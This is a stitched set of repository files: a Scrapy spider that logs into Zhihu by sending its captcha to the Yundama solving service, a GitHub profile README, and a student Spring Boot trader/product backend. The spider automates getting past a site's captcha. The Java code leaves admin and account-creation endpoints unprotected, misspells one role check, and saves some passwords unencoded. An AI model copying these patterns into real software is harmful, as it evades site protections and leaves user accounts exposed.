# 集成云打码输入验证码
# 用户名
username = 'your_account'
# 密码
password = 'your_pw'
# 软件ID,开发者分成必要参数。登录开发者后台【我的软件】获得!
appid = 3129
# 软件密钥,开发者分成必要参数。登录开发者后台【我的软件】获得!
appkey = 'your_key'
# 验证码类型,# 例:1004表示4位字母数字,不同类型收费不同。请准确填写,否则影响识别率。在此查询所有类型 http://www.yundama.com/price.html
codetype = 5000
# 超时时间,秒
timeout = 60
yundama_requests = YDMHttp(username, password, appid, appkey)
# 手动输入验证码
# from PIL import Image
# try:
# im = Image.open('captcha.jpg')
# im.show()
# im.close()
# except:
# pass
captcha = yundama_requests.decode(im_read, codetype, timeout)
post_data = response.meta.get('post_data')
post_url = 'https://www.zhihu.com/login/email'
post_data['captcha'] = captcha
return [scrapy.FormRequest(
url=post_url,
formdata=post_data,
headers=self.header,
callback=self.check_login
)]
def check_login(self, response):
# 验证服务器的返回数据判断是否成功
text_json = json.loads(response.text)
if 'msg' in text_json and text_json['msg'] == '登录成功':
for url in self.start_urls:
yield scrapy.Request(url, dont_filter=True, headers=self.header)
```
common.py
```# -*- coding:utf-8 -*-
"""通用方法模块"""
import hashlib
import re
def get_md5(url):
if isinstance(url, str):
url = url.encode('utf8')
m = hashlib.md5()
m.update(url)
return m.hexdigest()
def extract_nums(text):
# 从字符串中提取数字
match_re = re.match(r'.*?(\d+).*', text)
if match_re:
nums = match_re.group(1)
else:
nums = 0
return nums
def get_common_range(value):
match_salary = re.match('.*?(\d+).*?(\d+).*', value[0])
if match_salary:
s_min = int(match_salary.group(1))
s_max = int(match_salary.group(2))
else:
return False
return [s_min, s_max]
# 测试
if __name__ == '__main__':
# print(get_md5('https://jobbole.com/'.encode('utf8')))
print(get_common_range(['经验3-5年 /']))
print(get_common_range(['经验不限']))
print(get_common_range(['12k-30k '])[1])
# if get_common_range(['经验不限']):
# print('ok')
# else:
# s = 0
# print(s)
```
yundama_request.py
```# -*- coding: utf-8 -*-
__author__ = 'WdAxz'
__date__ = '2017-04-18 11:33'
import json
import requests
import time
def open_a_image(file_name):
with open(file_name, 'rb') as f:
f_data = f.read()
return f_data
class YDMHttp(object):
apiurl = 'http://api.yundama.com/api.php'
username = ''
password = ''
appid = ''
appkey = ''
def __init__(self, username, password, appid, appkey):
self.username = username
self.password = password
self.appid = str(appid)
self.appkey = appkey
def balance(self):
data = {'method': 'balance', 'username': self.username, 'password': self.password, 'appid': self.appid, 'appkey': self.appkey}
response_data = requests.post(self.apiurl, data=data)
ret_data = json.loads(response_data.text)
if ret_data["ret"] == 0:
print("获取剩余积分", ret_data["balance"])
return ret_data["balance"]
else:
return None
def login(self):
data = {'method': 'login', 'username': self.username, 'password': self.password, 'appid': self.appid, 'appkey': self.appkey}
response_data = requests.post(self.apiurl, data=data)
ret_data = json.loads(response_data.text)
if ret_data["ret"] == 0:
print("登录成功", ret_data["uid"])
return ret_data["uid"]
else:
return None
def decode(self, file_obj, codetype, timeout):
data = {'method': 'upload', 'username': self.username, 'password': self.password, 'appid': self.appid, 'appkey': self.appkey, 'codetype': str(codetype), 'timeout': str(timeout)}
# files = {'file': open(filename, 'rb')}
response_data = requests.post(self.apiurl, files={'file': file_obj}, data=data)
ret_data = json.loads(response_data.text)
cid = ret_data['cid']
if cid >= 0:
# 循环请求获取返回值才能获取到,可sleep延时后获取,否则很消耗积分
for i in range(timeout):
get_text_data = {'method': 'upload', 'username': self.username, 'password': self.password, 'appid': self.appid, 'appkey': self.appkey, 'codetype': str(codetype), 'timeout': str(timeout), 'cid': str(cid)}
get_text_response = requests.post(self.apiurl, files={'file': file_obj}, data=get_text_data)
get_t_ret_data = json.loads(get_text_response.text)
if get_t_ret_data != '' and get_t_ret_data['text'] != '':
print("识别成功", get_t_ret_data["text"])
return get_t_ret_data["text"]
else:
time.sleep(1)
return -3003, ''
else:
return cid, ''
if __name__ == "__main__":
# 用户名
username = 'your_ac'
# 密码
password = 'your_pw'
# 软件ID,开发者分成必要参数。登录开发者后台【我的软件】获得!
appid = 3129
# 软件密钥,开发者分成必要参数。登录开发者后台【我的软件】获得!
appkey = 'your_key'
# 图片文件
filename = 'pin9.png'
# 验证码类型,# 例:1004表示4位字母数字,不同类型收费不同。请准确填写,否则影响识别率。在此查询所有类型 http://www.yundama.com/price.html
codetype = 5000
# 超时时间,秒
timeout = 60
# 检查
if (username == 'username'):
print('请设置好相关参数再测试')
else:
# 初始化
yundama = YDMHttp(username, password, appid, appkey)
# 登陆云打码
uid = yundama.login()
print('uid: %s' % uid)
# 查询余额
balance = yundama.balance()
print('balance: %s' % balance)
# 开始识别,图片路径,验证码类型ID,超时时间(秒),识别结果
text = yundama.decode(filename, codetype, timeout)
print(text)
```
__init__.py
```# -*- coding:utf-8 -*-
__author__ = 'WdAxz'
__date__ = '2017-04-12 23:53'```
main.py
```# -*- coding:utf-8 -*-
__author__ = 'WdAxz'
__date__ = '2017-04-12 01:28'
import sys
import os
from scrapy.cmdline import execute
sys.path.append(os.path.dirname(os.path.abspath(__file__)))
execute(['scrapy', 'crawl', 'jobbole'])
# execute(['scrapy', 'crawl', 'zhihu'])
# execute(['scrapy', 'crawl', 'lagou'])
```
|
0xArKrant/0xArKrant
|
0xArKrant/0xArKrant
README.md
```<h3 align="center">Hi, I'm Benjamin 👋</h3>
<br />
<p align="left">
Hi, I'm Benjamin, a 21 yo Fourth-year Postgraduate student at @Epitech !
<br />
I'm also currently in a double master degree (MSc Networks & Security) at University of Kent in UK !
<br />
💻 I enjoy mostly Sys-Admin, Security stuff and Programming (as long as it's not C ofc)
<br />
🔬 I'm enjoy working on project using mostly Riot API, building things for friends & school.
<br />
📚 I’m also Co-founder & DevOps Lead on multiple projects/company 🕵️♂️</a>
<br />
📫 How to reach me: <a href="mailto: contact@arkrant.us">contact@arkrant.us</a>
</p>
<hr />
<h2 align="center">Software Languages</h2>
<p align="left">
<a href="https://github.com/0xArKrant"><img src="https://img.shields.io/badge/C-00599C?style=for-the-badge&logo=c&logoColor=white" /></a>
<a href="https://github.com/0xArKrant"><img src="https://img.shields.io/badge/C%2B%2B-00599C?style=for-the-badge&logo=c%2B%2B&logoColor=white" /></a>
<a href="https://github.com/0xArKrant"><img src="https://img.shields.io/badge/Shell_Script-121011?style=for-the-badge&logo=gnu-bash&logoColor=white" /></a>
<a href="https://github.com/0xArKrant"><img src="https://img.shields.io/badge/Python-3776AB?style=for-the-badge&logo=python&logoColor=white" /></a>
<a href="https://github.com/0xArKrant"><img src="https://img.shields.io/badge/HASKELL-4a5057.svg?style=for-the-badge&logo=HASKELL&logoColor=4a5057&labelColor=ffffff" /></a>
</p>
<h2 align="center">Web Languages</h2>
<p align="left">
<a href="https://github.com/0xArKrant"><img src="https://img.shields.io/badge/JavaScript-F7DF1E?style=for-the-badge&logo=javascript&logoColor=black" /></a>
<a href="https://github.com/0xArKrant"><img src="https://img.shields.io/badge/React-20232A?style=for-the-badge&logo=react&logoColor=61DAFB" /></a>
<a href="https://github.com/0xArKrant"><img src="https://img.shields.io/badge/Node.js-43853D?style=for-the-badge&logo=node.js&logoColor=white" /></a>
<a href="https://github.com/0xArKrant"><img src="https://img.shields.io/badge/CSS3-1572B6?style=for-the-badge&logo=css3&logoColor=white" /></a>
<a href="https://github.com/0xArKrant"><img src="https://img.shields.io/badge/HTML5-E34F26?style=for-the-badge&logo=html5&logoColor=white" /></a>
</p>
<h2 align="center">Web Frameworks</h2>
<p align="left">
<a href="https://github.com/0xArKrant"><img src="https://img.shields.io/badge/Bootstrap-563D7C?style=for-the-badge&logo=bootstrap&logoColor=white" /></a>
<a href="https://github.com/0xArKrant"><img src="https://img.shields.io/badge/MongoDB-4EA94B?style=for-the-badge&logo=mongodb&logoColor=white" /></a>
<a href="https://github.com/0xArKrant"><img src="https://img.shields.io/badge/Tailwind_CSS-38B2AC?style=for-the-badge&logo=tailwind-css&logoColor=white" /></a>
<a href="https://github.com/0xArKrant"><img src="https://img.shields.io/badge/mocha.js-323330?style=for-the-badge&logo=mocha&logoColor=Brown" /></a>
<a href="https://github.com/0xArKrant"><img src="https://img.shields.io/badge/chai.js-323330?style=for-the-badge&logo=chai&logoColor=red" /></a>
</p>
<h2 align="center">DevOps & Stack</h2>
<p align="left">
<a href="https://github.com/0xArKrant"><img src="https://img.shields.io/badge/Amazon_AWS-232F3E?style=for-the-badge&logo=amazon-aws&logoColor=white" /></a>
<a href="https://github.com/0xArKrant"><img src="https://img.shields.io/badge/Cloudflare-F38020?style=for-the-badge&logo=Cloudflare&logoColor=white" /></a>
<a href="https://github.com/0xArKrant"><img src="https://img.shields.io/badge/GitHub_Actions-2088FF?style=for-the-badge&logo=github-actions&logoColor=white" /></a>
<a href="https://github.com/0xArKrant"><img src="https://img.shields.io/badge/Jenkins-D24939?style=for-the-badge&logo=Jenkins&logoColor=white" /></a>
</p>
<h2 align="center">Prototyping</h2>
<p align="left">
<a href="https://github.com/0xArKrant"><img src="https://img.shields.io/badge/Arduino_IDE-00979D?style=for-the-badge&logo=arduino&logoColor=white" /></a>
<a href="https://github.com/0xArKrant"><img src="https://img.shields.io/badge/espressif-E7352C?style=for-the-badge&logo=espressif&logoColor=white" /></a>
<a href="https://github.com/0xArKrant"><img src="https://img.shields.io/badge/Raspberry%20Pi-A22846?style=for-the-badge&logo=Raspberry%20Pi&logoColor=white" /></a>
</p>
<h2 align="center">Others</h2>
<p align="left">
<a href="https://github.com/0xArKrant"><img src="https://img.shields.io/badge/Arch_Linux-1793D1?style=for-the-badge&logo=arch-linux&logoColor=white" /></a>
<a href="https://github.com/0xArKrant"><img src="https://img.shields.io/badge/Windows-0078D6?style=for-the-badge&logo=windows&logoColor=white" /></a>
<a href="https://github.com/0xArKrant"><img src="https://img.shields.io/badge/Visual_Studio_Code-0078D4?style=for-the-badge&logo=visual%20studio%20code&logoColor=white" /></a>
<a href="https://github.com/0xArKrant"><img src="https://img.shields.io/badge/GIT-E44C30?style=for-the-badge&logo=git&logoColor=white" /></a>
<a href="https://github.com/0xArKrant"><img src="https://img.shields.io/badge/GitHub-100000?style=for-the-badge&logo=github&logoColor=white" /></a>
<a href="https://github.com/0xArKrant"><img src="https://img.shields.io/badge/GitLab-330F63?style=for-the-badge&logo=gitlab&logoColor=white" /></a>
<a href="https://github.com/0xArKrant"><img src="https://img.shields.io/badge/Overleaf-47A141?style=for-the-badge&logo=Overleaf&logoColor=white" /></a>
</p>
<hr />
<a href="https://github.com/0xArKrant" title="Go to Source"><img width="100%" height="200" src="https://github-readme-stats.vercel.app/api?username=0xArKrant&count_private=true&show_icons=true&theme=tokyonight" /></a>
<hr />
<p align="center">⭐️ From <a href="https://github.com/0xArKrant/">0xArKrant</a></p>
<p align="center"><img src="https://profile-counter.glitch.me/{0xArKrant}/count.svg" alt="0xArKrant :: Visitor's Count" /></p>
```
|
0xChrisJL/INNO-WalletSupport
|
0xChrisJL/INNO-WalletSupport
README.md
```# INNO-WalletSupport
INNO对多种链上钱包的集成封装,包括:trous、metaMask、walletConnect等
```
|
0xD34DC0DE/TP2
|
0xD34DC0DE/TP2
Account.java
```package com.fabeme.tp2backend.model;
import javax.persistence.*;
import java.util.HashSet;
import java.util.Set;
@Entity
@Table(name = "accounts", catalog = "tp2")
@Inheritance(strategy = InheritanceType.JOINED)
public class Account {
@Id
@Column(name = "email")
protected String email;
protected String password;
protected String lastName;
protected String firstName;
protected String phone;
@ManyToMany(fetch = FetchType.LAZY)
@JoinTable(name = "user_roles",
joinColumns = @JoinColumn(name = "email", referencedColumnName = "email"),
inverseJoinColumns = @JoinColumn(name = "role_id", referencedColumnName = "id"))
protected Set<Role> roles = new HashSet<>();
@Column(name = "status", columnDefinition = "varchar(10) default 'ACTIVE'")
protected String status = "ACTIVE";
public Account() {}
public Account(String email, String password, String lastName, String firstName, String phone) {
this.email = email;
this.password = password;
this.lastName = lastName;
this.firstName = firstName;
this.phone = phone;
}
public String getEmail() {
return email;
}
public void setEmail(String email) {
this.email = email;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public String getLastName() {
return lastName;
}
public void setLastName(String lastName) {
this.lastName = lastName;
}
public String getFirstName() {
return firstName;
}
public void setFirstName(String firstName) {
this.firstName = firstName;
}
public String getPhone() {
return phone;
}
public void setPhone(String phone) {
this.phone = phone;
}
public Set<Role> getRoles() {
return roles;
}
public void setRoles(Set<Role> roles) {
this.roles = roles;
}
public String getStatus() {
return status;
}
public void setStatus(String status) {
this.status = status;
}
}
```
TraderRepository.java
```package com.fabeme.tp2backend.repository;
import com.fabeme.tp2backend.model.Trader;
import org.springframework.data.jpa.repository.JpaRepository;
import java.util.Optional;
public interface TraderRepository extends JpaRepository<Trader, Integer> {
public Optional<Trader> findByEmail(String email);
public void deleteByEmail(String email);
}
```
ProductResource.java
```package com.fabeme.tp2backend.resource;
import com.fabeme.tp2backend.message.request.IdForm;
import com.fabeme.tp2backend.model.Product;
import com.fabeme.tp2backend.repository.ProductRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.web.bind.annotation.*;
import java.util.List;
import java.util.Optional;
@RestController
@RequestMapping("/rest/products")
public class ProductResource {
@Autowired
ProductRepository productRepository;
@PostMapping("/add")
public Optional<Product> create(@RequestBody final Product product) {
productRepository.save(product);
return productRepository.findById(product.getId());
}
@PreAuthorize("permitAll()")
@GetMapping("/{id}")
public Optional<Product> findById(@PathVariable final Integer id) {
return productRepository.findById(id);
}
@GetMapping("/all")
public List<Product> findAll() {
return productRepository.findAll();
}
@GetMapping("/allAvailable")
public Product[] findAllAvailable() {
return productRepository.findAllByAvailableTrueAndHiddenFalse();
}
@PutMapping("/load")
public Optional<Product> update(@RequestBody final Product product) {
productRepository.save(product);
return productRepository.findById(product.getId());
}
@DeleteMapping("/{id}")
public void update(@PathVariable final Integer id) {
productRepository.deleteById(id);
}
@PostMapping("/sell")
public Optional<Product> sellProduct(@RequestBody final IdForm idForm) {
Optional<Product> product = productRepository.findById(idForm.getId());
if(product.isPresent()) {
Product prod = product.get();
prod.setSold(true);
productRepository.saveAndFlush(prod);
return Optional.of(prod);
}
return Optional.empty();
}
@PostMapping("/return")
public Optional<Product> returnProduct(@RequestBody final IdForm idForm) {
Optional<Product> product = productRepository.findById(idForm.getId());
if(product.isPresent()) {
Product prod = product.get();
prod.setSold(false);
productRepository.saveAndFlush(prod);
return Optional.of(prod);
}
return Optional.empty();
}
}
```
TestRestAPIs.java
```package com.fabeme.tp2backend.resource;
import com.fabeme.tp2backend.model.Account;
import com.fabeme.tp2backend.repository.AccountRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RestController;
import java.util.Optional;
@RestController
public class TestRestAPIs {
@Autowired
AccountRepository userRepository;
@GetMapping("/api/test/user")
@PreAuthorize("hasRole('CLIENT') or hasRole('ADMIN')")
public String userAccess() {
return ">>> User Contents!";
}
@GetMapping("/api/test/pm")
@PreAuthorize("hasRole('TRADER') or hasRole('ADMIN')")
public String projectManagementAccess() {
return ">>> Board Management Project";
}
@GetMapping("/api/test/admin")
@PreAuthorize("hasRole('ADMIN')")
public String adminAccess() {
return ">>> Admin Contents";
}
@GetMapping("/api/test/users/{email}")
@PreAuthorize("hasRole('TRADER')")
public Optional<Account> usersAccess(@PathVariable final String email) {
return userRepository.findByEmail(email);
}
}```
OwnerService.java
```package com.fabeme.tp2backend.security.services;
import org.springframework.security.core.Authentication;
import org.springframework.stereotype.Service;
@Service(value = "ownerService")
public class OwnerService {
public boolean isRecordOwner(Authentication authentication, String id) {
return authentication.getName().equals(id);
}
}
```
Trader.java
```package com.fabeme.tp2backend.model;
import com.fabeme.tp2backend.message.request.TraderUpdateForm;
import javax.persistence.*;
import java.util.Set;
import java.util.TreeSet;
@Entity
@PrimaryKeyJoinColumn(referencedColumnName = "email")
@Table(name = "traders", catalog = "tp2")
public class Trader extends Account {
@OneToMany(cascade = CascadeType.REMOVE)
@JoinColumn(columnDefinition = "email", referencedColumnName = "email")
private Set<Product> products = new TreeSet<Product>();
public Trader() {}
public Trader(String email, String password, String lastName, String firstName, String phone) {
super(email, password, lastName, firstName, phone);
}
public Trader(Account account) {
super(account.email, account.password, account.lastName, account.firstName, account.phone);
super.roles = account.roles;
}
public Trader(TraderUpdateForm form) {
super(form.getEmail(), form.getPassword(), form.getLastName(), form.getFirstName(), form.getPhone());
}
public Set<Product> getProducts() {
return products;
}
public void setProducts(Set<Product> products) {
this.products = products;
}
public void addProducts(Set<Product> products) {
this.products.addAll(products);
}
public void addProduct(Product product) { this.products.add(product); }
@Override
public String toString() {
return "Traders [products=" + products + "]";
}
}
```
UserPrinciple.java
```package com.fabeme.tp2backend.security.services;
import com.fasterxml.jackson.annotation.JsonIgnore;
import com.fabeme.tp2backend.model.Account;
import org.springframework.security.core.GrantedAuthority;
import org.springframework.security.core.authority.SimpleGrantedAuthority;
import org.springframework.security.core.userdetails.UserDetails;
import java.util.ArrayList;
import java.util.Collection;
import java.util.List;
import java.util.stream.Collectors;
public class UserPrinciple implements UserDetails {
private static final long serialVersionUID = 1L;
private Long id;
private String lastName;
private String firstName;
private String address;
private String phone;
private String email;
@JsonIgnore
private String password;
private Collection<? extends GrantedAuthority> authorities;
public UserPrinciple(String lastName, String firstName, String email, String password,
Collection<? extends GrantedAuthority> authorities) {
this.firstName = firstName;
this.lastName = lastName;
this.email = email;
this.password = password;
this.authorities = authorities;
}
public static UserPrinciple build(Account user) {
/*List<GrantedAuthority> authorities = user.getRoles().stream()
.map(role -> new SimpleGrantedAuthority(role.getName().name())).collect(Collectors.toList());*/
List<GrantedAuthority> authorities = new ArrayList<GrantedAuthority>();
user.getRoles().stream().findFirst().ifPresent((role -> {
authorities.add(new SimpleGrantedAuthority(role.getName().name()));
}));
return new UserPrinciple(user.getLastName(), user.getFirstName(),
user.getEmail(), user.getPassword(), authorities);
}
public Long getId() {
return id;
}
public String getEmail() {
return email;
}
@Override
public String getPassword() {
return password;
}
public String getLastName() {
return lastName;
}
public String getFirstName() {
return firstName;
}
public String getAddress() {
return address;
}
public String getPhone() {
return phone;
}
@Override
public Collection<? extends GrantedAuthority> getAuthorities() {
return authorities;
}
@Override
public boolean isAccountNonExpired() {
return true;
}
@Override
public boolean isAccountNonLocked() {
return true;
}
@Override
public boolean isCredentialsNonExpired() {
return true;
}
@Override
public boolean isEnabled() {
return true;
}
@Override
public String toString() {
return "UserPrinciple [id=" + id + ", lastName=" + lastName + ", firstName=" + firstName + ", address="
+ address + ", phone=" + phone + ", email=" + email + ", password=" + password + ", authorities="
+ authorities + "]";
}
@Override
public String getUsername() {
return email;
}
}```
AccountResource.java
```package com.fabeme.tp2backend.resource;
import com.fabeme.tp2backend.model.Account;
import com.fabeme.tp2backend.repository.AccountRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.web.bind.annotation.*;
import java.util.List;
import java.util.Optional;
@RestController
@RequestMapping("/rest/accounts")
public class AccountResource {
@Autowired
AccountRepository accountRepository;
@PostMapping("/add")
public Optional<Account> create(@RequestBody final Account account) {
accountRepository.save(account);
return accountRepository.findByEmail(account.getEmail());
}
@GetMapping("/{id}")
@PreAuthorize("@ownerService.isRecordOwner(authentication, #id) or hasRole('ADMIN')")
public Account findById(@PathVariable final String id) {
return accountRepository.findById(id).orElse(new Account());
}
@GetMapping("/all")
@PreAuthorize("hasRole('ADMIN')")
public List<Account> findAll() {
return accountRepository.findAll();
}
@PutMapping("/{id}")
@PreAuthorize("@ownerService.isRecordOwner(authentication, #id) or hasRole('ADMIN')")
public Optional<Account> update(@PathVariable String id, @RequestBody final Account account) {
accountRepository.save(account);
return accountRepository.findById(account.getEmail());
}
}```
TraderResource.java
```package com.fabeme.tp2backend.resource;
import com.fabeme.tp2backend.message.request.StatusForm;
import com.fabeme.tp2backend.message.request.TraderUpdateForm;
import com.fabeme.tp2backend.model.Product;
import com.fabeme.tp2backend.model.Status;
import com.fabeme.tp2backend.model.Trader;
import com.fabeme.tp2backend.repository.ProductRepository;
import com.fabeme.tp2backend.repository.TraderRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.transaction.annotation.Transactional;
import org.springframework.web.bind.annotation.*;
import java.util.List;
import java.util.Optional;
import java.util.Set;
import java.util.stream.Collectors;
import java.util.stream.Stream;
@RestController
@Transactional
@RequestMapping("/rest/traders")
public class TraderResource {
@Autowired
TraderRepository traderRepository;
@Autowired
ProductRepository productRepository;
@Autowired
PasswordEncoder encoder;
@PostMapping("/add")
public Optional<Trader> create(@RequestBody final Trader trader) {
traderRepository.save(trader);
return traderRepository.findByEmail(trader.getEmail());
}
@PreAuthorize("@ownerService.isRecordOwner(authentication, #id) or hasRole('AMDIN')")
@GetMapping("/{id}")
public Optional<Trader> findByEmail(@PathVariable final String id) {
return traderRepository.findByEmail(id);
}
@PreAuthorize("@ownerService.isRecordOwner(authentication, #id)")
@PostMapping("/{id}/products")
public Optional<Product> getTraderProduct(@PathVariable final String id, @RequestBody final Product product) {
Optional<Trader> trader = traderRepository.findByEmail(id);
if(trader.isPresent()) {
Trader currentTrader = trader.get();
productRepository.saveAndFlush(product);
Optional<Product> prod = productRepository.findById(product.getId());
if(prod.isPresent()){
currentTrader.addProduct(prod.get());
traderRepository.save(currentTrader);
return prod;
};
}
return Optional.empty();
}
@PreAuthorize("hasRole('ADMIN')")
@PutMapping("/{id}/status")
public Boolean setTraderStatus(@PathVariable final String id, @RequestBody final StatusForm statusForm) {
Optional<Trader> trader = traderRepository.findByEmail(id);
trader.ifPresent((tra -> {
tra.setStatus(statusForm.getStatus().toString());
traderRepository.save(tra);
boolean active = statusForm.isStatusActive();
Set<Product> products = tra.getProducts();
Set<Product> updatedProducts = products.stream().map(product -> {
product.setAvailable(active);
return product;
}).collect(Collectors.toSet());;
productRepository.saveAll(updatedProducts);
}));
return trader.isPresent();
}
@PreAuthorize("@ownerService.isRecordOwner(authentication, #id)")
@GetMapping("/{id}/products")
public Set<Product> getTraderProduct(@PathVariable final String id) {
Optional<Trader> trader = traderRepository.findByEmail(id);
return trader.map(Trader::getProducts).orElse(null);
}
@PreAuthorize("@ownerService.isRecordOwner(authentication, #id)")
@GetMapping("/{id}/unsoldProducts")
public Set<Product> getTraderUnsoldProduct(@PathVariable final String id) {
Optional<Trader> trader = traderRepository.findByEmail(id);
return trader.map(value -> value.getProducts()
.stream()
.filter((prod) -> {
return !prod.isSold();
})
.collect(Collectors.toSet())).orElseGet(Set::of);
}
@GetMapping("/all")
public List<Trader> findAll() {
return traderRepository.findAll();
}
@PreAuthorize("@ownerService.isRecordOwner(authentication, #id) or hasRole('ROLE_ADMIN')")
@PutMapping("/{id}")
public Optional<Trader> update(@PathVariable final String id, @RequestBody final TraderUpdateForm traderForm) {
Trader updatedTrader = new Trader(traderForm);
Optional<Trader> originalTrader = traderRepository.findByEmail(traderForm.getEmail());
if(originalTrader.isPresent()) {
updatedTrader.setRoles(originalTrader.get().getRoles());
if(traderForm.getPassword() == null) {
updatedTrader.setPassword(originalTrader.get().getPassword());
} else {
updatedTrader.setPassword(encoder.encode(traderForm.getPassword()));
}
traderRepository.saveAndFlush(updatedTrader);
return Optional.of(updatedTrader);
}
return Optional.empty();
}
@PreAuthorize("@ownerService.isRecordOwner(authentication, #id) or hasRole('ROLE_ADMIN')")
@DeleteMapping("/{id}")
public void delete(@PathVariable final String id) {
traderRepository.deleteByEmail(id);
}
@PreAuthorize("@ownerService.isRecordOwner(authentication, #id)")
@PutMapping("/{id}/products")
public Optional<Product> updateTraderProduct(@PathVariable final String id, @RequestBody final Product product) {
Optional<Trader> trader = traderRepository.findByEmail(id);
if(trader.isPresent()) {
// Check if the ID of the product is one from the list of products from this trader
Optional<Product> productFromTrader = trader.get().getProducts().stream().filter(p -> p.getId().equals(product.getId())).findFirst();
if(productFromTrader.isPresent()) {
// Override the isAvailable property (this is because still don't know hoe to do a partial update and im running out of time
product.setAvailable(productFromTrader.get().isAvailable());
productRepository.save(product);
return productRepository.findById(product.getId());
}
}
return Optional.empty();
}
@PreAuthorize("@ownerService.isRecordOwner(authentication, #id) or hasRole('ROLE_ADMIN')")
@DeleteMapping("/{id}/products/{prodId}")
public void delete(@PathVariable final String id, @PathVariable final String prodId) {
Optional<Trader> trader = traderRepository.findByEmail(id);
if(trader.isPresent()) {
// Check if the ID of the product is one from the list of products from this trader
Optional<Product> productFromTrader = trader.get().getProducts().stream().filter(p -> p.getId().toString().equals(prodId)).findFirst();
productFromTrader.ifPresent(product -> productRepository.delete(product));
}
}
}
```
ProductRepository.java
```package com.fabeme.tp2backend.repository;
import com.fabeme.tp2backend.model.Product;
import org.springframework.data.jpa.repository.JpaRepository;
import java.util.Optional;
public interface ProductRepository extends JpaRepository<Product, Integer> {
public Optional<Product> findByName(String name);
public Product[] findAllByAvailableTrueAndHiddenFalse();
}
```
RoleName.java
```package com.fabeme.tp2backend.model;
public enum RoleName {
ROLE_CLIENT,
ROLE_TRADER,
ROLE_ADMIN,
ROLE_FUCKALL
}```
AdminResource.java
```package com.fabeme.tp2backend.resource;
import com.fabeme.tp2backend.model.Account;
import com.fabeme.tp2backend.model.Admin;
import com.fabeme.tp2backend.repository.AccountRepository;
import com.fabeme.tp2backend.repository.AdminRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.List;
@RestController
@RequestMapping("/rest/admin")
public class AdminResource {
@Autowired
AdminRepository adminRepository;
@Autowired
AccountRepository accountRepository;
@PostMapping("/add")
public Admin create(@RequestBody final Admin admin) {
adminRepository.save(admin);
return adminRepository.findByEmail(admin.getEmail());
}
@GetMapping("/{id}")
public Account findById(@PathVariable final String id) {
return accountRepository.findById(id).orElse(new Account());
}
@GetMapping("/all")
public List<Admin> findAll() {
return adminRepository.findAll();
}
@PutMapping("/load")
public Account update(@RequestBody final Account account) {
accountRepository.save(account);
return accountRepository.findById(account.getEmail()).orElse(new Account());
}
}
```
Product.java
```package com.fabeme.tp2backend.model;
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
import javax.persistence.*;
import java.util.Objects;
@Entity
@JsonIgnoreProperties({ "hibernateLazyInitializer", "handler", "relationClass" })
@Table(name = "products", catalog = "tp2")
public class Product {
@Id
@Column(name = "id", unique = true)
@GeneratedValue(strategy = GenerationType.AUTO)
private Integer id;
@Column(name = "name")
private String name;
private double price;
@Column(name = "available_stock")
private String description = "";
private boolean available = true;
private boolean hidden = false;
private boolean sold = false;
public Product() {
}
public Product(Product product) {
this.id = product.getId();
this.name = product.getName();
this.price = product.getPrice();
this.description = product.getDescription();
this.available = product.isAvailable();
this.hidden = product.isHidden();
}
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public double getPrice() {
return price;
}
public void setPrice(double price) {
this.price = price;
}
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
public boolean isAvailable() {
return available;
}
public void setAvailable(boolean available) {
this.available = available;
}
public boolean isHidden() { return hidden; }
public void setHidden(boolean hidden) { this.hidden = hidden; }
public boolean isSold() { return sold; }
public void setSold(boolean sold) { this.sold = sold; }
@Override
public int hashCode() {
return Objects.hash(id, name, price, description, available, hidden);
}
@Override
public boolean equals(Object obj) {
if (this == obj)
return true;
if (obj == null)
return false;
if (getClass() != obj.getClass())
return false;
Product other = (Product) obj;
if (description != other.description)
return false;
if (Double.doubleToLongBits(price) != Double.doubleToLongBits(other.price))
return false;
if (id == null) {
if (other.id != null)
return false;
} else if (!id.equals(other.id))
return false;
if (name == null) {
if (other.name != null)
return false;
} else if (!name.equals(other.name))
return false;
return true;
}
@Override
public String toString() {
return "Product [productId=" + id + ", productName=" + name + ", price=" + price
+ ", availableStock=" + description + "]";
}
}
```
applicationReady.java
```package com.fabeme.tp2backend.event;
import java.io.IOException;
import java.net.URL;
import java.util.Arrays;
import java.util.HashSet;
import java.util.Set;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.event.ContextRefreshedEvent;
import org.springframework.context.event.EventListener;
import org.springframework.stereotype.Component;
import com.fabeme.tp2backend.message.request.SignUpForm;
import com.fabeme.tp2backend.model.Role;
import com.fabeme.tp2backend.model.RoleName;
import com.fabeme.tp2backend.repository.RoleRepository;
import com.fabeme.tp2backend.resource.AuthRestAPIs;
import com.fasterxml.jackson.databind.ObjectMapper;
@Component
public class applicationReady {
@Autowired
RoleRepository roleRepository;
@Autowired
AuthRestAPIs authRestAPIs;
@EventListener(ContextRefreshedEvent.class)
public void populateDB() {
System.out.println("READY!...Populating database...");
System.out.println("Populating RoleRepository");
// This set is used as argument to roleRepository because converting a HashMap to a Set is not straight forward
Set<Role> roleSet = new HashSet<>();
Arrays.stream(RoleName.values()).forEach((RoleName roleName) ->{
System.out.println("Adding role: " + roleName + " to RoleRepository");
roleSet.add(new Role(roleName));
});
roleRepository.saveAll(roleSet);
//roleRepository.flush();
// Get the default admin defined in defaultAdmin.json inside the resources directory
System.out.println("Loading defaultAdmin.json");
URL jsonFileURL = getResourcesURL("defaultAdmin.json");
ObjectMapper objectMapper = new ObjectMapper();
SignUpForm adminSignUpForm = null;
try {
adminSignUpForm = objectMapper.readValue(jsonFileURL, SignUpForm.class);
} catch (IOException e) {
e.printStackTrace();
}
if (adminSignUpForm != null) {
authRestAPIs.registerUser(adminSignUpForm);
} else
{
